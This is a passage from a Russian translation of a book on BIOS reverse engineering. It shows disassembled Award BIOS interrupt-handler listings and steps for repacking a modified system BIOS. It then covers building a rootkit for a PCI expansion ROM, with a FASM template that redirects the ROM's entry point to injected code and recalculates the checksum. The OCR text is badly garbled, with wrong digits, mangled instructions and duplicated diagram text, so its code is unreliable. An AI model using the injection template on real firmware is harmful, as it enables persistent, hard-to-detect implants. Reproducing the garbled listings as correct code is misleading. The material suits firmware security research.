F000:E820
db 1
; Слово ICW4 ведомого контроллера
F000:E820
; PIC: 8086.
F000:E821
dw OAlh
; Регистр базового адреса+1 ведомого
F000:E821
; контроллера PIC.
F000:E823
db OFFh
; Слово OCW1: отключаем все IRQ в ведомом PIC
Внимательно изучите листинг 12.17 и сравните его с листингом 12.11. Как видите, код в этих двух листингах очень похож. Скорее всего, код для Award BIOS версии 6.00PG был унаследован от Award BIOS версии 4.15PG. Именно поэтому здесь и не приводится его детальное объяснение.
Теперь давайте перейдем к поиску обработчиков прерываний в дизассемблированном коде системной BIOS. Начнем трассировку с элементов таблицы переходов POST и вызова процедуры инициализации векторов прерываний. Соответствующий код показан в листинге 12.18.
Листинг 12.18. Таблица переходов POST и вызов процедуры инициализации векторов прерываний
Е000:740В Begin POST Jump Table
; Начало таблицы переходов POST
; Распаковываем файл awardext.rom.
E000:740В
dw offset POST_1S
E000:740D
dw offset POST_2S
; Распаковка компонентов
E000:740D
; _ITEM.BIN and _EN_CODE.BIN
E000:740D
; (с перемещением)
E000:740F
dw offset POST_3S
EOOO:7411
dw offset nullsub_3
; Фиктивная процедура
E000:743F
dw offset POST_27S
; Инициализируем векторы прерываний
ЕООО:7535
; Конец таблицы переходов POST
Е000:24В0
Е000:24В0
; POST_27_S - Инициализируем векторы
Е000:24В0
; прерываний
Е000:24В0
Е000:24В0
POST_27S proc near
Е000:24В0
cli
Е000:24В1
mov
ax, OFOOOh
ЕООО:24В4
mov
ds, ax
Е000:24Вб
assume
5 ds:FOOD
Е000:24Вб
cld
Е000:24В7
xor
di, di
Е000:24В9
mov
es, di
; es = 0
Е000:24ВВ
assume
; es:nothing
Е000:24ВВ
mov
ax, OFOOOh
Е000:24ВЕ
shl
eax, lOh
Е000:24С2
mov
ax, offset default.
_ivect_handler
Е000:24С5
mov
ecx, 78h
ЕООО:24СВ
rep stosd
ЕООО:24СЕ
mov
ax, offset PIC_ISR_
_n_IRR_HouseKeeping
E000:24Dl
mov
di, 140h
ЕООО:24D4
stosd
E000:24D6
mov
ex, 32
; Первые 32 вектора прерываний
E000:24D9
mov
ax, OFOOOh
E000:24DC
mov
si, offset ivects_£
start
ЕООО:24DF
xor
di, di
; di = 0
Е000:24Е1
xchg
bx, bx
Е000:24ЕЗ
nop
Е0ОО:24Е4
Е000:24Е4
next_ivect_entry:
ЕООО:24Е4
movsw
Е000:24Е5
stosw
Е000:24Е6
loop
next_ivect_entry
Е000:24Е8
cmp
word ptr [si-2], 0
ЕООО:24ЕС
jnz
short init_slave_irq_handler
Е000:24ЕЕ
mov
word ptr es:[di-2] ,
, 0
ЕООО:24F4
E000:24F4
init_slave_
irq_handler:
E000:24F4
mov
ex,
8
E000:24F7
mov
si,
offset irq_7_handler
E000:24FA
mov
di,
ICOh
E000:24FD
xchg
bx,
bx
E000:24FF
nop
EOOO:2500
EOOO:2500
next_ivect:
E000:2500
movsw
E000:2501
stosw
E000:2502
loop
next_ivect
E000:2504
mov
di,
180h
E000:2507
mov
ecx
, 8
E000:250D
xor
eax
, e ax
E000:2510
rep stosd
ЕООО:2524 clc
ЕООО:2525 retn
ЕООО:2525 P0ST_27S endp
F000:FEE3 ivects_start dw offset default_ivect_handler ; ...
F000:FEE3
; Обработчик прерывания Oh.
F000:FF09 dw offset goto_int_13h_handler
; Обработчик прерывания 13h.
F000:FF23 irq_7_handler dw offset sub_F000_A900
; .. .
F000:FF23
; Обработчик прерывания 7Oh.
F000:FF2F dw offset PIC_ISR_n_IRR_HouseKeeping
; Обработчик прерывания 76h.
F000:FF31 dw offset PIC_ISR_n_IRR_HouseKeeping
; Обработчик прерывания 77h.
Как можно видеть в листинге 12.18, код для инициализации векторов прерываний является почти точной копией кода для Award BIOS версии 4.51PG (см. листинг 12.12). Основное отличие заключается в номере элемента таблицы переходов POST. В коде в листинге 12.18 инициализация выполняется процедурой элемента 27 таблицы переходов POST. Кроме того, имеется и еще одно отличие, не показанное в листингах. Оно заключается в том, что в Award BIOS версии 6.00PG нет таблицы переходов ISA; есть лишь одна длинная таблица переходов POST.
Теперь рассмотрим код обработчика прерывания 13b, представленный в листинге 12.19.
Листинг 12.19. Обработчик прерывания 13h BIOS материнской платы 955X7AA-8EKRS2
р000:ЕС59 goto_int_13h_handler proc near
F000:EC59 jnp near ptr int_13h_handler
p000:EC59 goto_int_13h_handler endp
FOOD:86В9
int_13h_handler proc far
FOOO:86B9
call sub_F000_881A
F000:86ВС
jbshort loc_F000_86Cl
F000:86BE
retf 2
FOOD:86C1
F000:86C1 loc_F000_86Cl:
F000:86Clcnpdl, 80h
F000:86C4jbshort loc_F000_86C9
F000:8810 return:
F000:8810
Pop
ax
FOOD:8811
pop
di
FOOD:8812
pop
es
FOOO:8813 assume es:nothing
FOOD: 8813popds
FOOO:8814 assume ds:nothing
FOOD:8814popsi
FOOD:8815 iret
FOOO:8816 ;
FOOO:8816 set_flag:
FOOO:8816movah, 1
FOOD:8818jmpshort loc_F000_87BF
FOOO:8818 int_13h_handler endp
Этот код тоже имеет определенное сходство с аналогичным кодом для Award BIOS версии 4.51 PG, рассмотренным в предыдущем разделе.
Последний обработчик, который мы рассмотрим, представляет наибольший интерес. Это обработчик прерывания I9h. Его исходный код показан в листинге 12.20.
Листинг 12.20. Обработчик прерывания 19h BIOS материнской платы 955X7AA-8EKRS2
F000:E6F2 goto_int_19h_handler proc near
F000:E6F2
jnp
near ptr int_19h_handler
F000:E6F2
goto_int_19h_handler endp
F000:2C88
int_19h_handler proc far; —
F000:2C88
F000:2C88
mov
ax, 0
FOOD:2C8B
mov
ds, ax
F000:2C8D
assume ds:nothing
F000:2C8D
xor
ax, ax
F000:2C8F
mov
ss, ax
F000:2C91
assume ss:nothing
F000:2C91
mov
sp, 3FEh
F000:2C94
cmp
word ptr ds:469h, OFOOOh
F000:2C9A
jnz
short prepare_bootstrap
F000:2C9C
mov
sp, ds:467h
F000:2CA0
F000:2CA1
retf
r
F000:2CA1
prepare_bootstrap:; -..
FOOD: 2CA1
cli
F000:2CA2
mov
word ptr ds:78h, offset unk_F000_EFC7
F000:2CA8
mov
word ptr ds:7Ah, cs
F000:2CAC
sti
F000:2CAD
call
sub_F000_C93E
F000:2CB0
FOOD:2CB0
try_exec_bootstrap_again:; ...
FOOD:2CB0
and
byte ptr ds:4Alh, ODFh
F000:2CB5
mov
di, 1
F000:2CB8
mov
al, byte ptr cs:word_F000_2E8E
F000:2CBC
and
al, OFh
FOOD:2CBE
call
exec_bootstrap
FOOD:2CC1
mov
di, 2
FOOD:2CC4
mov
al, byte ptr cs:word_F000_2E8E
F000:2CC8
shr
al, 4
F000:2CCB
call
exec_bootstrap
F000:2CCE
mov
di, 3
F000:2CDl
mov
al, byte ptr cs:word_F000_2E8E+l
F000:2CD5
and
al, OFh
F000:2CD7
call
exec_bootstrap
рООО:2CDA р-000: 2CDE F000:2СЕ1 р-000: 2СЕ4 р-000: 2СЕ4
moval, byte ptr cs:word_F000_2E8E+l
rolal, 4
call sub_F000_2CE7
jmp exec_int_18h_handler
int_19h_handler endp
р-000: 2D4F р-000:2D4F F000:2D52
exec_bootstrap proc near; .. .
mov si, 4AlBh
push cs
F000:2DB3
F000:2DB6
call sub_F000_2E9E
jnb short jmp2bootstrap_vector
F000:2DD4
jmp2bootstrap_vector:; . . .
F000:2DD4
push cs
F000:2DD5
push offset loc_F000_2DBA
FOOD:2DD8
mov ax, cs
FOOD:2DDA
mov ds:469h, ax
FOOD:2DDD
mov ds:467h, sp
FOOD:2DE1
jmp far ptr 0:7C00h; Переход к вектору запуска
FOOD:2DE1
; начальной загрузки.
FOOD:2DE1
exec_bootstrap endp
В основном, ход исполнения кода обработчика прерывания i9h, приведенного в листинге 12.20, подобен ходу исполнения кода обработчика этого прерывания для Award BIOS 4.51 PG (см. листинг 12.15). Различия между ними заключаются лишь в деталях, так как код для Award BIOS версии 6.00PG поддерживает большее количество загрузочных устройств, чем его предшественник.
На основании приведенных материалов можно сделать вывод, что при модификации обработчика прерываний мы работаем с системной BIOS, так как данный обработчик находится именно там. Модификация Award BIOS версии 6.00PG связана с дополнительной сложностью. Эту BIOS нельзя модифицировать с помощью утилиты modbin версии 2.01.01, как было описано в главе 6. Проблема заключается в том, что даже если вы и внесете изменения во временно распакованную системную BIOS, данная утилита не включит этот модифицированный компонент в результирующий двоичный файл. Вместо этого modbin 2.01.01 вставит в выходной файл первоначальную (не модифицированную) системную BIOS. Тем не менее, существуют обходные пути решения этой проблемы. Суть этого способа заключается в том, что модифицированная системная BIOS сжимается с помощью утилиты Cbrom, а затем добавляется к результирующему двоичному файлу BIOS с использо-
ванием опции /other. Добавленный таким образом компонент будет распакован в сегмент soooh при исполнении BIOS. Пошагово, этот метод выглядит следующим образом:
Допустим, что общий двоичный файл BIOS называется 865pe.bin, а системная BIOS называется system.bin. Предположим, что файл system.bin уже был модифицирован. Первоначальный файл system.bin можно получить, открыв общий файл 865pe.bin с помощью утилиты modbin. Затем временный файл системной BIOS следует скопировать в новый файл, присвоив ему имя system.bin, и модифицировать этот файл.
Извлекаем все компоненты общего файла 865pe.bin, за исключением системной BIOS, и помещаем их во временный каталог с помощью соответствующих команд Cbrom. Например, компонент awardext.rom извлекается С ПОМОЩЬЮ команды cbrom 865pe.bin /other 407F:0 extract.
Удаляем все компоненты общего файла 865pe.bin, за исключением системной BIOS, с помощью соответствующих команд Cbrom. Например, компонент awardext.rom удаляется с помощью команды cbrom 865pe.bin /other 407F: о release. На данный момент, в общем файле BIOS 865pe.bin остались только системная BIOS, блок начальной загрузки и блок распаковщика.
Сжимаем системную BIOS system.bin и включаем ее как новый компонент в общий файл BIOS 865pe.bit с помощью следующей команды утилиты Cbrom: cbrom 865pe.bin /other 5000:0 system.bin. В ЭТОМ шаге сжатый компонент system.bin будет помещен рядом с первоначальной системной BIOS.
Откройте файл 865pe.bin в hex-редакторе и скопируйте сжатый компонент system.bin в новый двоичный файл. Закройте hex-редактор. Новому файлу можно присвоить расширение Jha, так как он сжат по алгоритму LHA. Теперь удалите сжатый компонент system.bin из общего файла BIOS 865pe.bin с помощью следующей команды утилиты Cbrom:
cbrom 865pe.bin /other 5000:0 release
Опять откройте файл 865pe.bin в hex-редакторе. На данном этапе в нем уже нет сжатого компонента system.bin. Теперь замените первоначальную системную BIOS сжатым файлом system.bin, созданным на предыдущем этапе. Если необходимо, заполните свободное место байтами-заполнителями. Закройте hex-редактор.
Вставляем все оставшиеся компоненты, которые были извлечены на шаге 2, обратно в файл 865pe.bin.
работоспособность только что описанной процедуры была успешно проверена на некоторых двоичных файлах Award BIOS, которые не поддаются методу модификации временной системной BIOS, сгенерированной утилитой modbin. Как вы заметили, утилита modbin при ее осуществлении не применяется. Но, тем не менее, modbin можно использовать для проверки работоспособности файла, полученного после выполнения шага 7.
На этом рассмотрение Award BIOS можно считать завершенным. В следующем разделе будет показано, каким образом методы, разработанные для Award BIOS, могут быть применены к реализациям BIOS от других поставщиков.
Работа с BIOS других поставщиков
Реализация метода захвата обработчика прерываний BIOS, изложенного в двух предыдущих разделах, для BIOS иных, нежели Award BIOS, является задачей трудной, но вполне реалистичной. Практическое решение этой задачи осложняется отсутствием общедоступных инструментов, пригодных для модификации этих BIOS. Распаковка и исследование любой BIOS, не только Award, является довольно легкой задачей. Вы уже убедились в этом при дизассемблировании AMI BIOS в разд. 5.2. Основная трудность заключается в сжатии модифицированных компонентов BIOS, корректировке контрольных сумм и их интеграции в рабочий двоичный файл BIOS. Даже общедоступные инструменты, предназначенные для этой цели, иногда не работают должным образом. Я попробую дать некоторые советы, призванные помочь вам разрешить эту проблему, особенно в случае с AMI BIOS и Phoenix BIOS.
Утилиты для внесения модификаций в AMI BIOS, такие как Mmtool и Amibcp, можно найти в Интернете. С помощью утилиты Mmtool можно модифицировать BIOS расширения PCI, внедренную в двоичный файл AMI BIOS". Что касается утилиты Amibcp, то ее применение во многом подобно использованию утилиты modbin для Award BIOS. С помощью утилиты
24 BIOS расширения PCI, внедренные в BIOS материнской платы, используются для встроенных в материнскую плату устройств PCI, например контроллера RAID или сетевого контроллера.
Amibcp можно модифицировать системную BIOS внутри двоичного файЛа AMI BIOS. Более того, некоторые более старые версии этой утилиты, выпу щенные до 2003 года, могут добавлять новый сжатый компонент в двоичный файл AMI BIOS. Возможно, что это свойство может быть использовано дЛя вставки нового сжатого модуля в двоичный файл. Однако утверждать этого
с уверенностью я не могу, так как я не проводил всесторонних исследований этой возможности манипулирования AMI BIOS.
Единственной известной мне утилитой для работы с Phoenix BIOS является Phoenix BIOS Editor. Она применяется для Phoenix BIOS, выпущенных д0 слияния Phoenix Technologies с Award Software. При работе с двоичным файлом BIOS, утилита создает временные двоичные файлы в подкаталоге папки в которой она установлена. Этим обстоятельством можно воспользоваться для внесения модификаций в код BIOS. К сожалению, я не разобрался с возможностями этой утилиты более подробно, вследствие чего ее детальное описание здесь не приводится. Я могу лишь сделать общее замечание, отметив, что временные двоичные файлы при закрытии редактора Phoenix BIOS компилируются в единый двоичный файл Phoenix BIOS. По всей вероятности, путем внесения модификаций в эти временные файлы можно модифицировать и системную BIOS.
Одним из возможных путей решения проблемы отсутствия бесплатных утилит для модификации BIOS материнских плат может быть внедрение руткита в BIOS платы расширения PCI, а не в BIOS материнской платы. Эта тема рассматривается в следующем разделе.
12.3. Подход к разработке руткита для BIOS платы расширения PCI
Принцип реализации руткита для BIOS платы расширения PCI проще, чем аналогичный принцип разработки руткита для BIOS материнской платы (см. предыдущий раздел). Причина этого заключается в том, что организация BIOS платы расширения PCI проще, чем организация BIOS материнской платы. Общий принцип реализации руткита для BIOS платы расширения PCI показан на рис. 12.12.
На рис. 12.12 показан метод наложения заплатки процедуры обхода на 16- разрядный код. Как видите, первоначальный переход к процедуре инициализации PCI перенаправляется к внедренной процедуре руткита. После завершения выполнения процедуры руткита, управление исполнением передается первоначальной процедуре инициализации PCI. Действенность данного метода ограничена объемом свободного пространства в чипе BIOS расширения PCI, а также малоизвестным ограничением в процессе загрузки, которое я
объясню позже. Этот метод может оказаться неприменимым при внедрении угкитов, чей размер превышает 20 Кбайт, так как объем свободного пространства большинства BIOS плат расширения PCI не превышает этого значения. Стандартный размер чипов BIOS расширения PCI — 32 Кбайт, ^4 Кбайт или 128 Кбайт.
Типовая структура BIOSплат расширения PC:AA55h®h i (Сигнатура BIOS расширения)Типовая структура BIOSплат расширения PC:AA55h®h i (Сигнатура BIOS расширения).xxh2h I (Размер BIOS кратен 512 байтам).xxh2h I (Размер BIOS кратен 512 байтам)3h;3h;jmp INITjmp INIT\\\\\\^h i Указатель на структуру данных PCI |^ ।^h i Указатель на структуру данных PCI |^ ।Структура данных PCIСтруктура данных PCI/ I I/ I IФункция INITФункция INITСтруктура BIOS платы расширения PCIс внедренным руктитомль •AA55hj:(Сигнатура BIOS расширения) |Структура BIOS платы расширения PCIс внедренным руктитомль •AA55hj:(Сигнатура BIOS расширения) |■xxh।: (Размер BIOS кратен 512 байтам) I■xxh।: (Размер BIOS кратен 512 байтам) I3h :3h :jmp rootkit_procedurejmp rootkit_procedure\\18h ‘ Указатель на структуру данных PCI \L——Н ^18h ‘ Указатель на структуру данных PCI \L——Н ^Структура данных PCIСтруктура данных PCIФункция INITФункция INIT/ * Байты-заполнители (опционно)/ * Байты-заполнители (опционно)! Контрольная сумма! Контрольная сумма/ / /// / //
Типовая структура BIOSплат расширения PC
:AA55h
®h i (Сигнатура BIOS расширения)
Типовая структура BIOSплат расширения PC
:AA55h
®h i (Сигнатура BIOS расширения)
.xxh
2h I (Размер BIOS кратен 512 байтам)
.xxh
2h I (Размер BIOS кратен 512 байтам)
3h;
3h;
jmp INIT
jmp INIT
\\
\
\\
\
^h i Указатель на структуру данных PCI |^ ।
^h i Указатель на структуру данных PCI |^ ।
Структура данных PCI
Структура данных PCI
/ I I
/ I I
Функция INIT
Функция INIT
Структура BIOS платы расширения PCIс внедренным руктитом
ль •AA55hj
:(Сигнатура BIOS расширения) |
Структура BIOS платы расширения PCIс внедренным руктитом
ль •AA55hj
:(Сигнатура BIOS расширения) |
■xxh।
: (Размер BIOS кратен 512 байтам) I
■xxh।
: (Размер BIOS кратен 512 байтам) I
3h :
3h :
jmp rootkit_procedure
jmp rootkit_procedure
\
\
18h ‘ Указатель на структуру данных PCI \
L——Н ^
18h ‘ Указатель на структуру данных PCI \
L——Н ^
Структура данных PCI
Структура данных PCI
Функция INIT
Функция INIT
/ * Байты-заполнители (опционно)
/ * Байты-заполнители (опционно)
! Контрольная сумма
! Контрольная сумма
/ / /
/
/ / /
/
Байты-заполнители (опционно)| контрольная суммаБайты-заполнители (опционно)| контрольная суммаrootkit_procedure(процедура руткита)rootkit_procedure(процедура руткита)Байты-заполнители (опционно)Байты-заполнители (опционно)^Контрольная сумма^Контрольная сумма
Байты-заполнители (опционно)
| контрольная сумма
Байты-заполнители (опционно)
| контрольная сумма
rootkit_procedure(процедура руткита)
rootkit_procedure(процедура руткита)
Байты-заполнители (опционно)
Байты-заполнители (опционно)
^Контрольная сумма
^Контрольная сумма
Рис. 12.12. Реализация руткита для BIOS платы расширения PCI
Прежде чем продолжить рассмотрение руткита, рекомендуется освежить ваши знания о среде исполнения BIOS плат расширения PCI. За исключением BIOS видеоплат PCI, BIOS плат расширения PCI исполняются в следующей среде: О Осуществляется инициализация центрального процессора, сопроцессора, RAM, контроллера ввода-вывода, контроллера PIC, программируемого интервального таймера и BIOS видеоплаты.
22 Зак 1387
BIOS материнской платы выполняет 16-разрядный дальний переход, передавая управление коду BIOS платы расширения PCI.
Осуществляется инициализация векторов прерываний.
Центральный процессор работает в 16-разрядном реальном режиме.
BIOS видеоплаты обрабатывается отдельно от BIOS прочих плат расширения PCI, так как видеокарта выполняет функцию основного устройства вывода. Это означает, что она должна быть приведена в готовность перед инициализацией менее критичных компонентов компьютерной системы. В противном случае будет невозможен вывод сообщений об ошибках.
Как видно из описания среды исполнения BIOS плат расширения PCI, обработчики прерываний инициализируются раньше векторов прерываний. Это дает возможность создать руткит для модификации процедур обработчиков прерываний.
Переходим к рассмотрению механики вставки своего кода в BIOS расширения платы PCI. Хотя в этом разделе и не будет продемонстрирован рабочий эксплойт, доказывающий правильность концепции, в разд. 12.3.1 все же будет представлен "шаблон" для внедрения кода BIOS плат расширения PCI. В реальных условиях чип BIOS платы расширения PCI уже содержит рабочий двоичный код. По этой причине, данный код необходимо "пропатчить", чтобы перенаправить его точку входа на внедренную процедуру руткита. Для вставки кода в рабочий двоичный код BIOS я пользуюсь ассемблером FASMW, так как его многочисленные опции позволяют быстро и с легкостью выполнить эту задачу.
Наложение заплатки обхода на BIOS расширения PCI
В листинге 12.21 показан шаблон для вставки кода в файл BIOS платы расширения PCI, называющийся rpl.rom. Файл rpl.rom является оригинальным двоичным файлом BIOS расширения PCI. Уделите особое внимание изучению этого исходного кода, так как он содержит много нестандартных приемов языка ассемблера, специфичных для ассемблера FASM.
Листинг 12.21. Наложение заплатки обхода на BIOS расширения PCI
usel6
; НАЧАЛО ВСПОМОГАТЕЛЬНОГО МАКРОСА
; Этот макрос служит для вычисления 8-разрядной контрольной суммы ; области, начинающейся по адресу src_addr и заканчивающейся по адресу -; src_addr+len. По адресу dest_addr сохраняется двоичное дополнение ; --бИТНОЙ КОНТРОЛЬНОЙ СУММЫ.
macro patch_8_bit_chksum src_addr*, len*, dest_addr* (
prev_sum =0; Предварительная 8-битная контрольная сумма
sum = 0; Исходная 8-разрядная контрольная сумма.
repeat len
load sum byte from (src_addr + % - 1)
sum = (prev_sum + sum ) mod 0x100
prev_sum = sum end repeat store byte (0x100 - sum) at dest_addr
КОНЕЦ ВСПОМОГАТЕЛЬНОГО МАКРОСА
; Включаем первоначальный file BIOS, в который нужно вставить свой код.
Внимание: Этот исходный код работает только со специальным кодом BIOS, который будет вставлен этим исходным кодом!
Примечание: Инструкция перехода в заголовке BIOS будет
перенаправлена к специальному вставленному коду.
-org_rom_start: file 1RPL.ROM1
load rom_jmp byte from ( org rom start + 3)
if rom "imp = OxEB
load _org_entry_point byte from (_org_rom_start + 4) _org_entry_point = org entry point + 5; org entry point = смещение в
; в двоичном коде BIOS.
else if rom_jmp = 0xE9
load _org_entry_point word from (_org_rom_start + 4)
_org_entry_point = org entry point + 6; _org_entry_point = смещение
; в двоичном коде BIOS.
else
display 'Warning: ROM header doesn't use 8-bit or 16-bit jump instruction'
; Предупреждение — в заголовке BIOS нет ; 8- или 16-разрядной инструкции перехода.
end if
; Дальше следует только внедряемый код. „start:
; Инициализируем видеорежим, mov ах, 1 int 10h
mov ах, cs; Инициализируем сегментные регистры,
mov ds, ах mov si, _msg_executed call display_string mov bx, 3 call delay mov bl, ' x' call check_key_press or ax, ax jz exit mov si, _msg_key_press call display_string
exit:
jmp _org_entry_point
delay:
; Задержка длиной приблизительно в такое количество секунд,
; как значение в регистре Ьх.
; При входе: Ьх = количество секунд задержки, pushad mov ах, 18 mul bx mov esi, eax; Сохраняем количество отсчетов таймера задержки в esi.
mov ah, О int lAh mov ax, ex shl eax, 16 add ax, dx mov edi, eax; Сохраняем начальное число отсчетов таймера в edi.
.next:
mov ah, О int lAh mov ax, ex shl eax, 16 add ax, dx sub eax, edi emp eax, esi; Проверяем, выдержан ли интервал задержки
jb .next
.exit: popad retn
check_key_press:
; Проверяем, нажата ли определенная клавиша.
; in: Ы = символ ASCII, который нужно проверить.
; Возвращаемое значение в регистре ах:
; 1 - если код опроса нажатия клавиши равняется значению в Ы;
• 0 - если код опроса нажатия клавиши не равняется запрошенному коду опроса.
mov ah, 1 int 16h
emp al, bl jz .set_ax mov ax, 0 jmp .exit
set_ax:
mov ах, 1
exit:
retn
display_string:; Вывод строки
; in: ds:si = указатель на строку с завершающим нулем, ;которую нужно отобразить.
cld .next_char:; Вывод следующего символа.
lodsb
or
al, al
jz
.exit
mov
ah, OxE
; Выводим символ на
экран.
mov
bx, 7
mov
ex, 1
; Выводим по одному
символу за раз
int
lOh
jmp
.next_char
exit:
retn
; Сообщение: "Исполняется код, вставленный в BIOS расширения PCI!" _msg_executed db "PCI expansion ROM injected code executes!",0
; Сообщение: "Обнаружено нажатие клавиши х!" _msg_key_press db 0xD,0xA,"х key press detected!",0
; BEGIN _BIG_ _FAT_ _NOTE_
; Интерпретатор FASM может модифицировать результирующий двоичный код после ; компиляции исходного кода. Йменно поэтому код ддя модификации
; двоичного кода нужно поместить в конце листинга. Этот прием ; позволяет удовлетворить требования для вычисления адресов меток.
; END _BIG_ _FAT_ _NOTE_
; Перенаправляем первоначальную точку входа BIOS к вставленному коду.
; ПРИМЕЧАНИЕ: Это — лобовой подход к решению проблемы.
store word 0 at (_org_roni_start + 0x13)
; Сохраняем метку конца строки, так как некоторые
; BIOS расширения используют область после конца заголовка
; BIOS для хранения зарезервированной информации.
; jmp (_org_rom_start+0xl5)
store byte OxEB at (_org_rom_start + 0x3)
store byte (0x15 - 0x5) at (_org_rom_start + 0x4)
; jnp „start
if ( („start - (_org_rom_start + 0x17)) > OxFF )
store byte 0xE9 at (_org_rom_start + 0x15)
store word („start - (_org_rom_start + 0x18)) at (_org_rom_start + 0x16) else
store byte OxEB at (_org_rom_start + 0x15)
store byte („start - (_org_rom_start + 0x17)) at (_org_rom_start + 0x16) end if
Вычисляем и модифицируем размер BIOS PCI и добавляем байты-заполнители для внедренного кода BIOS.
; Размер BIOS PCI ROM в блоках ; по 512 байт.; Вставляем байты-заполнители.; Размер BIOS PCI ROM в блоках ; по 512 байт.; Вставляем байты-заполнители.rom_size = ( ( ($-_start) +511) / 512 )
; Размер BIOS PCI ROM в блоках ; по 512 байт.
; Вставляем байты-заполнители.
; Размер BIOS PCI ROM в блоках ; по 512 байт.
; Вставляем байты-заполнители.
times ( rom_size * 512 - ($-_start) ) db 0
; Сохраняем 8-разрядный байт модификации контрольной суммы в ; зарезервированном слове первоначальной структуры данных PCI.
load _org_pcir_reserved word from (_org_rom_start + 0x18) _org_pcir_reserved = _org_pcir_reserved + 0x16
patch_8_bit_chksum _org_rom_start, ($-_org_rom_start), _org_pcir_reserved
Программисту, который никогда не работал с ассемблером FASM, будет сложно разобраться с кодом, представленным в листинге 12.21, поэтому здесь будут представлены необходимые пояснения. Общий принцип реализации руткита BIOS платы расширения PCI проиллюстрирован на рис. 12.12. Как показано на этой иллюстрации, чтобы вставить код руткита в рабочую BIOS платы расширения PCI, необходимо модифицировать точку входа оригинальной BIOS платы расширения PCI и поместить внедряемый код в свободное пространство, следующее за оригинальным кодом BIOS PCI. Помимо этого, необходимо гарантировать, что размер полученного двоичного кода будет кратен 512 байтам, а также пересчитать для него правильную 8-разрядную контрольную сум-
му. Наконец, все задачи, которые должен выполнить ассемблер, должны быть представлены в одном фрагменте исходного кода. Эти ограничения диктуют следующие основные требования к коду:
Ассемблер должен быть в состоянии работать с оригинальным двоичным кодом, в частности считывать и заменять байты в нем.
Ассемблер должен быть в состоянии создать результирующий исполняемый двоичный файл, который будет содержать как оригинальный двоичный код, так и внедренный код.
Из всех ассемблеров, с которыми я работал, только FASM удовлетворяет обоим этим требованиям. Поэтому именно он и был выбран для работы с данным шаблоном.
Упрощенное представление этапов компиляции при ассемблировании исходного кода из листинга 12.21 в ассемблере FASM показано на рис. 12.13.
Рис. 12.13. Упрощенная схема ассемблирования BIOS PCI в FASM
Инструкции интерпретатора FASM (рис. 12.13) — это инструкции, которые манипулируют результатом процесса компиляции. К ним относятся, например, инструкции load и store. Рассмотрим следующее применение инструкции load:
load _org_pcir_reserved word from (_org_rom_start + 0x18)
Эта инструкция имеет следующий смысл: взять 16-разрядное значение по адресу _org_rom_start + 0x18 в выходном двоичном коде и поместить его в переменную _org_pcir_reserved. Теперь рассмотрим следующее применение инструкции store:
store byte 0хЕ9 at (_org_rom_start + 0x15)
Эта инструкция дает указание сохранить байт со значением 0хЕ9 по адресу _org_rom_start + 0x15 в выходном двоичном коде. Эта инструкция заменяет значение байта по адресу _org_rom_start + 0x15 значением 0хЕ9.
Дополнительную информацию о синтаксисе ассемблера FASM можно почерпнуть в версии 1.66 или более поздней руководства для программистов на FASM. Его можно скачать по следующему адресу: http://flatassembler.net/docs.php.
Код, приведенный в листинге 12.21, выводит сообщение и ждет нажатия пользователем клавиши <х> при загрузке, т. е. во время инициализации BIOS расширения PCI. Время ожидания предопределено, поэтому, если в течение заданного интервала пользователь не нажмет клавишу <х>, внедренный код передает управление первоначальному коду BIOS платы расширения PCI, и процесс загрузки возобновляется. Оставшаяся часть кода не должна представлять трудностей для понимания.
Итак, в данном подразделе были рассмотрены принципы разработки руткитов для внедрения в BIOS плат расширения PCI. Кроме того, был представлен и шаблон кода такого руткита. Применение полученных знаний и шаблона кода зависит лишь от вашей фантазии.
BIOS плат расширения PCI с несколькими образами
Как вы уже знаете (см. главу 7), в чипе ROM BIOS платы расширения можно сохранить несколько разных образов BIOS расширения. Почему бы не воспользоваться этим обстоятельством для реализации руткита в BIOS расширения PCI? Ответ на этот вопрос можна найти в спецификации PCI. Как вы знаете, двоичный файл BIOS расширения PCI может содержать несколько работоспособных BIOS платы расширения PCI (см. рис. 7.2 в главе 7). Каждая из этих BIOS расширения PCI называется образом. Последний используемый байт в структуре данных служит флагом, указывающим, является ли
данный образ в двоичном файле BIOS расширения PCI последним (см. табл. 7.2 в главе 7). Это обстоятельство может навести на мысль о том, что если в пер. вом образе этот флаг установлен в нуль (что указывает на то, что данный образ не является последним), то при инициализации BIOS платы расширения PCI, BIOS материнской платы исполнит и следующий образ. Однако эта догадка неверна (см. рис. 12.14).
BIOS материнской платыBIOS материнской платыBIOS платы расширенияPCIBIOS платы расширенияPCI
BIOS материнской платы
BIOS материнской платы
BIOS платы расширенияPCI
BIOS платы расширенияPCI
I Вызов функции INIT в BIOSI расширения платы PCII Вызов функции INIT в BIOSI расширения платы PCIСледующие процедурыBIOSСледующие процедурыBIOSОбраз 1j
I Вызов функции INIT в BIOS
I расширения платы PCI
I Вызов функции INIT в BIOS
I расширения платы PCI
Следующие процедурыBIOS
Следующие процедурыBIOS
Функция INIT в BIOS платы | расширения PCI|
Образ 2
Функция INIT в BIOS платы расширения PCI
Рис. 12.14. Инициализация BIOS платы расширения PCI с несколькими образами
Как видите (см. рис. 12.14), хотя BIOS расширения PCI содержит несколько работоспособных образов, BIOS материнской платы исполнит лишь один из них, а именно — первый образ, применимый для архитектуры, поддерживаемой материнской платой. Я удостоверился в этом несколько раз на моих экспериментальных системах х86. По всей вероятности, что возможность хранения нескольких образов в двоичном файле BIOS платы расширения PCI предоставляется протоколом PCI для того, чтобы одну и ту же плату расширения PCI можно было бы использовать на системах с разной архитектурой. Такая плата инициализируется, не требуя никаких дополнительных настроек, предоставляя соответствующий код (образ в общем двоичном файле) для каждой поддерживаемой аппаратной архитектуры. Это означает, что на системе конкретной архитектуры будет исполняться только один образ, что и было установлено в моих экспериментах. В этих экспериментах я создал двоичный файл BIOS расширения PCI, содержащий две работоспособных BIOS платы расширения PCI (т. е. два образа) для архитектуры х86. Плату с этой BIOS PCI я протестировал в нескольких компьютерах архитектуры х86. Второй образ не исполнялся ни на одном из них. Тем не менее, данная возможность открывает путь к возможности создания внедренного кода, поддерживающего несколько аппаратных архитектур. Я не рассматриваю эту возможность в данной книге, однако вполне возможно, что вы заинтересуетесь исследованиями в этом направлении.
Особенности BIOS расширения PCI сетевых плат
